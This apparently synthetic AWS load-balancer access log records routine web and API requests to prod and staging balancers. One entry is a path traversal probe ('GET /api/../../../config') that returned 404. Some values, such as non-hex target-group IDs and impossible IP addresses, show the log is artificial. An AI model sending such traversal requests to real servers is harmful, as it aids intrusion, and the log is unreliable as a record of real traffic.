0.447398 0.099045 301 301 470 4654 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de99-3060b5f7209246f2a240817a" "prod-web-alb.example.com" "-" 8 2024-11-01T02:46:33.113556Z "forward" "-" "-" "10.0.170.21:443" "301" "-" "-" +https 2024-11-01T02:46:34.920658Z prod-api-alb 144.104.180.125:19160 10.0.12.3:443 0.086812 0.054874 0.037119 200 200 51 10224 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de9a-bb669688774f46aabc1adab5" "prod-api-alb.example.com" "-" 1 2024-11-01T02:46:34.920658Z "forward" "-" "-" "10.0.12.3:443" "200" "-" "-" +https 2024-11-01T02:46:35.078196Z prod-web-alb 218.53.125.197:47202 10.0.85.231:443 0.094190 0.465677 0.057900 200 200 894 3039 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de9b-66acfc69c01e4c1397f54750" "prod-web-alb.example.com" "-" 8 2024-11-01T02:46:35.078196Z "forward" "-" "-" "10.0.85.231:443" "200" "-" "-" +https 2024-11-01T02:46:35.276888Z prod-api-alb 212.236.188.120:17314 10.0.172.51:443 0.026406 0.273676 0.096326 200 200 452 4218 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de9b-e4e9b88fc05b493ca2c2cb81" "prod-api-alb.example.com" "-" 10 2024-11-01T02:46:35.276888Z "forward" "-" "-" "10.0.172.51:443" "200" "-" "-" +https 2024-11-01T02:46:35.604843Z prod-web-alb 10.83.71.167:25060 10.0.192.198:443 0.076126 0.306523 0.010559 301 301 510 6230 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de9b-f3ac712634ca4d2a89cc33dd" "prod-web-alb.example.com" "-" 7 2024-11-01T02:46:35.604843Z "forward" "-" "-" "10.0.192.198:443" "301" "-" "-" +https 2024-11-01T02:46:36.089423Z prod-api-alb 56.225.220.171:37899 10.0.231.113:443 0.048413 0.255691 0.036369 200 200 573 7116 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de9c-34a22148f25942f5837909d1" "-" "-" 10 2024-11-01T02:46:36.089423Z "forward" "-" "-" "10.0.231.113:443" "200" "-" "-" +http 2024-11-01T02:46:37.347583Z staging-alb 41.1.7.253:19605 25.146.153.110:8080 0.140262 0.081079 0.117488 200 200 344 8259 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de9d-ebe45f8a2eca49d7861ecf27" "staging-alb.example.com" "-" 2 2024-11-01T02:46:37.347583Z "forward" "-" "-" "25.146.153.110:8080" "200" "-" "-" +https 2024-11-01T02:46:37.933782Z prod-web-alb 97.139.179.217:37466 10.0.227.76:443 0.095439 0.195075 0.009227 301 301 848 9456 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de9d-428a574b430b408c82f69f6b" "prod-web-alb.example.com" "-" 2 2024-11-01T02:46:37.933782Z "forward" "-" "-" "10.0.227.76:443" "301" "-" "-" +https 2024-11-01T02:46:39.511452Z prod-api-alb 251.190.246.221:23147 10.0.230.128:443 0.029254 0.054292 0.042524 200 200 808 7824 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de9f-b0cf3834c3d6437881684006" "prod-api-alb.example.com" "-" 10 2024-11-01T02:46:39.511452Z "forward" "-" "-" "10.0.230.128:443" "200" "-" "-" +https 2024-11-01T02:46:41.312742Z prod-web-alb 248.94.28.206:17390 10.0.196.27:443 0.059665 0.319037 0.031701 200 200 715 5516 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dea1-20e94aedf867470c876884ca" "prod-web-alb.example.com" "-" 9 2024-11-01T02:46:41.312742Z "forward" "-" "-" "10.0.196.27:443" "200" "-" "-" +https 2024-11-01T02:46:42.425804Z staging-alb 174.6.120.219:26267 233.129.248.123:80 0.141893 0.722938 0.010879 200 200 697 8294 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dea2-a0646b852cb644338f0d1b1f" "staging-alb.example.com" "-" 2 2024-11-01T02:46:42.425804Z "forward" "-" "-" "233.129.248.123:80" "200" "-" "-" +https 2024-11-01T02:46:44.360141Z staging-alb 49.31.230.122:60022 113.70.13.98:8080 0.128247 0.670844 0.085057 301 301 774 9522 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dea4-fde0e952dd67476ca5263265" "staging-alb.example.com" "-" 10 2024-11-01T02:46:44.360141Z "forward" "-" "-" "113.70.13.98:8080" "301" "-" "-" +http 2024-11-01T02:46:44.502824Z staging-alb 15.238.130.1:43069 5.125.116.212:8080 0.140777 0.086782 0.108874 200 200 853 5259 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dea4-47be4ee3feeb400a8d11c959" "staging-alb.example.com" "-" 8 2024-11-01T02:46:44.502824Z "forward" "-" "-" "5.125.116.212:8080" "200" "-" "-" +https 2024-11-01T02:46:46.464806Z staging-alb 199.124.104.179:35022 251.185.153.40:443 0.083846 0.662471 0.068252 200 200 110 5435 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dea6-21fb4f49097943bbac790e78" "staging-alb.example.com" "-" 9 2024-11-01T02:46:46.464806Z "forward" "-" "-" "251.185.153.40:443" "200" "-" "-" +https 2024-11-01T02:46:46.806072Z prod-api-alb 226.1.98.219:39321 10.0.48.183:443 0.072856 0.043974 0.045622 301 301 277 863 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dea6-b7f30ecdd96d4b00bf6cdd0a" "prod-api-alb.example.com" "-" 9 2024-11-01T02:46:46.806072Z "forward" "-" "-" "10.0.48.183:443" "301" "-" "-" +https 2024-11-01T02:46:47.815510Z prod-web-alb 220.158.41.199:46381 10.0.80.241:443 0.060137 0.269476 0.016648 301 301 158 11118 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dea7-cc9a1ac69f2c41e9a82c3501" "prod-web-alb.example.com" "-" 4 2024-11-01T02:46:47.815510Z "forward" "-" "-" "10.0.80.241:443" "301" "-" "-" +https 2024-11-01T02:46:49.273959Z prod-api-alb 45.155.205.171:15616 10.0.93.60:443 0.086690 0.392432 0.049289 404 404 325 11568 "GET /api/../../../config HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dea9-22327b5b6a9642b1915d456a" "-" "-" 7 2024-11-01T02:46:49.273959Z "forward" "-" "-" "10.0.93.60:443" "404" "-" "-" +https 2024-11-01T02:46:50.089092Z prod-api-alb 211.66.195.239:22621 10.0.201.13:443 0.078383 0.162242 0.012070 302 302 947 3847 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723deaa-809d73807e52423a841ff4c3" "prod-api-alb.example.com" "-" 4 2024-11-01T02:46:50.089092Z "forward" "-" "-" "10.0.201.13:443" "302" "-" "-" +https 2024-11-01T02:46:50.285418Z prod-api-alb 68.209.193.225:48388 10.0.80.221:443 0.056636 0.422078 0.048310 200 200 722 14415 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723deaa-dc032193dd414b989260e27f" "prod-api-alb.example.com" "-" 10 2024-11-01T02:46:50.285418Z "forward" "-" "-" "10.0.80.221:443" "200" "-" "-" +https 2024-11-01T02:46:50.446325Z prod-api-alb 200.230.56.60:12200 10.0.244.91:443 0.063105 0.264575 0.097219 200 200 650 8304 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723deaa-317086890bc143dc9f657537" "prod-api-alb.example.com" "-" 2 2024-11-01T02:46:50.446325Z "forward" "-" "-" "10.0.244.91:443" "200" "-" "-" +https 2024-11-01T02:46:51.966863Z prod-web-alb 213.209.63.38:60590 10.0.47.65:443 0.086524 0.189457 0.002250 200 200 576 10539 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723deab-4b04a0035c5045818e45f574" "prod-web-alb.example.com" "-" 10 2024-11-01T02:46:51.966863Z "forward" "-" "-" "10.0.47.65:443" "200" "-" "-" +http 2024-11-01T02:46:53.701928Z staging-alb 240.110.81.101:17521 51.56.143.124:8080 0.026526 0.729092 0.083655 200 200 146 12342 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dead-9c3a1021bb9a4d739dc7c8c7" "staging-alb.example.com" "-" 10 2024-11-01T02:46:53.701928Z "forward" "-" "-" "51.56.143.124:8080" "200" "-" "-" +https 2024-11-01T02:46:54.175281Z prod-api-alb 80.250.217.222:12457 10.0.115.192:443 0.033774 0.389882 0.089512 200 200 535 8840 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723deae-db543c1b9bfa4ba2b2a3f3bd" "prod-api-alb.example.com" "-" 7 2024-11-01T02:46:54.175281Z "forward" "-" "-" "10.0.115.192:443" "200" "-" "-" +https 2024-11-01T02:46:54.883111Z prod-web-alb 52.82.16.76:31341 10.0.123.12:443 0.087867 0.452896 0.043720 200 200 726 8419 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723deae-914f4ddb886f411caa8800a9" "prod-web-alb.example.com" "-" 1 2024-11-01T02:46:54.883111Z "forward" "-" "-" "10.0.123.12:443" "200" "-" "-" +https 2024-11-01T02:46:56.608894Z staging-alb 227.136.206.98:48928 155.105.201.55:443 0.135297 0.729958 0.103622 301 301 382 3259 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723deb0-ab34fb4a684945ac95827222" "staging-alb.example.com" "-" 6 2024-11-01T02:46:56.608894Z "forward" "-" "-" "155.105.201.55:443" "301" "-" "-" +https 2024-11-01T02:46:58.485511Z prod-web-alb 31.236.190.140:46592 10.0.134.103:443 0.022724 0.169950 0.082344 200 200 856 6080 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723deb2-2695aaa271684070aae1f579" "prod-web-alb.example.com" "-" 5 2024-11-01T02:46:58.485511Z "forward" "-" "-" "10.0.134.103:443" "200" "-" "-" +https 2024-11-01T02:46:58.658518Z prod-web-alb 122.111.16.163:36890 10.0.56.150:443 0.075925 0.305564 0.007426 200 200 772 2417 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723deb2-f5820389bf7b4323952b617d" "prod-web-alb.example.com" "-" 7 2024-11-01T02:46:58.658518Z "forward" "-" "-" "10.0.56.150:443" "200" "-" "-" +https 2024-11-01T02:47:00.261036Z prod-web-alb 12.66.48.10:56701 10.0.152.248:443 0.094668 0.321614 0.052750 200 200 810 1408 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723deb4-2bea1af75b114836b6299611" "prod-web-alb.example.com" "-" 3 2024-11-01T02:47:00.261036Z "forward" "-" "-" "10.0.152.248:443" "200" "-" "-" +https 2024-11-01T02:47:02.020842Z prod-web-alb 119.6.51.121:52674 10.0.185.90:443 0.022539 0.223045 0.056879 404 404 416 2142 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723deb6-194f4e256518460eabd388cf" "prod-web-alb.example.com" "-" 8 2024-11-01T02:47:02.020842Z "forward" "-" "-" "10.0.185.90:443" "404" "-" "-" +https 2024-11-01T02:47:03.936966Z prod-api-alb 75.229.49.227:51512 10.0.179.53:443 0.086031 0.200477 0.013384 200 200 112 7560 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723deb7-343e908f72ad4bf4aa4c8c34" "prod-api-alb.example.com" "-" 3 2024-11-01T02:47:03.936966Z "forward" "-" "-" "10.0.179.53:443" "200" "-" "-" +https 2024-11-01T02:47:04.974322Z prod-web-alb 16.36.170.156:12789 10.0.230.72:443 0.042549 0.332097 0.027391 301 301 848 7433 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723deb8-b3926e69c5224b75a98d7f8f" "prod-web-alb.example.com" "-" 4 2024-11-01T02:47:04.974322Z "forward" "-" "-" "10.0.230.72:443" "301" "-" "-" +https 2024-11-01T02:47:06.551022Z prod-api-alb 239.75.8.221:17552 10.0.87.252:443 0.086556 0.452834 0.036366 200 200 863 6397 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723deba-8ec3e453e52a48ec9a541c9d" "prod-api-alb.example.com" "-" 1 2024-11-01T02:47:06.551022Z "forward" "-" "-" "10.0.87.252:443" "200" "-" "-" +https 2024-11-01T02:47:07.911349Z staging-alb 39.125.87.151:12891 229.181.93.168:80 0.086406 0.339132 0.012479 200 200 190 3715 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723debb-f569d1cba39244c5876b4489" "staging-alb.example.com" "-" 3 2024-11-01T02:47:07.911349Z "forward" "-" "-" "229.181.93.168:80" "200" "-" "-" +https 2024-11-01T02:47:08.501991Z prod-web-alb 159.128.140.248:27439 10.0.167.243:443 0.055692 0.071406 0.099726 200 200 432 2035 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723debc-ff44fa37edad44948983bb42" "prod-web-alb.example.com" "-" 4 2024-11-01T02:47:08.501991Z "forward" "-" "-" "10.0.167.243:443" "200" "-" "-" +https 2024-11-01T02:47:09.125963Z prod-web-alb 56.186.4.158:44411 10.0.131.56:443 0.097418 0.336398 0.089706 301 301 393 7033 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723debd-093afa60a50c4e44bdf586c7" "prod-web-alb.example.com" "-" 5 2024-11-01T02:47:09.125963Z "forward" "-" "-" "10.0.131.56:443" "301" "-" "-" +https 2024-11-01T02:47:09.265383Z prod-api-alb 226.194.165.88:20544 10.0.104.70:443 0.086740 0.160851 0.042190 302 302 134 246 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723debd-107492160bf54805900355f8" "prod-api-alb.example.com" "-" 4 2024-11-01T02:47:09.265383Z "forward" "-" "-" "10.0.104.70:443" "302" "-" "-" +https 2024-11-01T02:47:09.402952Z prod-web-alb 99.2.181.222:20697 10.0.42.101:443 0.067531 0.169390 0.035078 200 200 225 14955 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723debd-eb5690c0a16c4bb89101927c" "prod-web-alb.example.com" "-" 6 2024-11-01T02:47:09.402952Z "forward" "-" "-" "10.0.42.101:443" "200" "-" "-" +https 2024-11-01T02:47:10.537143Z prod-web-alb 246.32.90.53:13168 10.0.82.91:443 0.076678 0.209593 0.091828 404 404 692 2024 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723debe-6a345c2d92764bdab5e61867" "prod-web-alb.example.com" "-" 7 2024-11-01T02:47:10.537143Z "forward" "-" "-" "10.0.82.91:443" "404" "-" "-" +https 2024-11-01T02:47:11.373002Z prod-web-alb 191.47.99.193:29137 10.0.162.207:443 0.082023 0.493972 0.084363 200 200 223 2184 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723debf-7a127ff9e80843d5af03ec9f" "prod-web-alb.example.com" "-" 9 2024-11-01T02:47:11.373002Z "forward" "-" "-" "10.0.162.207:443" "200" "-" "-" +https 2024-11-01T02:47:13.366605Z prod-api-alb 60.62.141.217:54742 10.0.147.72:443 0.018609 0.039498 0.071980 302 302 507 12232 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dec1-8db20f4e3315446a89048213" "prod-api-alb.example.com" "-" 7 2024-11-01T02:47:13.366605Z "forward" "-" "-" "10.0.147.72:443" "302" "-" "-" +https 2024-11-01T02:47:13.841083Z prod-api-alb 128.78.97.47:21706 10.0.1.81:443 0.047262 0.349071 0.062538 404 404 530 6465 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dec1-7d7e339b189b456cb162da49" "prod-api-alb.example.com" "-" 2 2024-11-01T02:47:13.841083Z "forward" "-" "-" "10.0.1.81:443" "404" "-" "-" +https 2024-11-01T02:47:14.290164Z prod-api-alb 122.15.166.122:56211 10.0.165.128:443 0.062104 0.027026 0.025309 404 404 279 1660 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dec2-79a3df9ab3214ef3a5d1c09f" "prod-api-alb.example.com" "-" 1 2024-11-01T02:47:14.290164Z "forward" "-" "-" "10.0.165.128:443" "404" "-" "-" +http 2024-11-01T02:47:14.494384Z staging-alb 245.198.61.225:55407 235.134.127.245:80 0.126509 0.067176 0.136006 404 404 740 9416 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dec2-f4d0302e8865421db8d47a49" "staging-alb.example.com" "-" 8 2024-11-01T02:47:14.494384Z "forward" "-" "-" "235.134.127.245:80" "404" "-" "-" +https 2024-11-01T02:47:15.153673Z prod-api-alb 8.112.253.57:18802 10.0.14.227:443 0.030945 0.211428 0.019392 302 302 122 471 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dec3-01dae15b2f9d49fd9bc6dc14" "prod-api-alb.example.com" "-" 9 2024-11-01T02:47:15.153673Z "forward" "-" "-" "10.0.14.227:443" "302" "-" "-" +https 2024-11-01T02:47:17.105797Z prod-web-alb 255.52.38.25:22971 10.0.198.82:443 0.045789 0.380894 0.069666 301 301 966 10579 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dec5-c78d41ff68b3497c80423ae2" "prod-web-alb.example.com" "-" 4 2024-11-01T02:47:17.105797Z "forward" "-" "-" "10.0.198.82:443" "301" "-" "-" +http 2024-11-01T02:47:17.758421Z staging-alb 168.216.190.44:27428 81.117.251.238:443 0.035679 0.407314 0.139596 200 200 620 5384 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dec5-e8455eb64c1d4df19ce00e06" "staging-alb.example.com" "-" 2 2024-11-01T02:47:17.758421Z "forward" "-" "-" "81.117.251.238:443" "200" "-" "-" +https 2024-11-01T02:47:18.779255Z prod-api-alb 213.252.172.186:42178 10.0.166.135:443 0.053068 0.265790 0.042249 404 404 715 9658 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dec6-1f767c905f794ec3a3dcba42" "prod-api-alb.example.com" "-" 1 2024-11-01T02:47:18.779255Z "forward" "-" "-" 